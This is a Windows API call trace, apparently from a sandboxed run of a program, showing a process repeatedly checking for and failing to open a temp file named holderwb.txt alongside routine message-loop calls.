	[0099.354] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.354] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.354] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.355] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.355] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.355] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.355] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.355] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.355] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.355] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.356] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.356] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.356] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.356] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.357] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.357] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.357] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.358] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.358] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.358] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.358] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.358] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.359] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.359] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.359] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.359] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.359] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.359] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.359] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.360] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.360] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.360] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.360] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.360] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.361] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.361] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.361] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.362] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.362] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.362] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.362] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.362] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.362] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.363] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.363] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.363] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.363] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.363] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.363] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.363] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.364] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.364] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.364] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.364] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.364] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.364] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.365] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.365] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.365] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.365] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.366] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.366] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.366] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.366] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.366] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.366] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.367] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.367] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.367] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.367] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.367] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.367] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.367] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.368] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.368] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.368] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.368] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
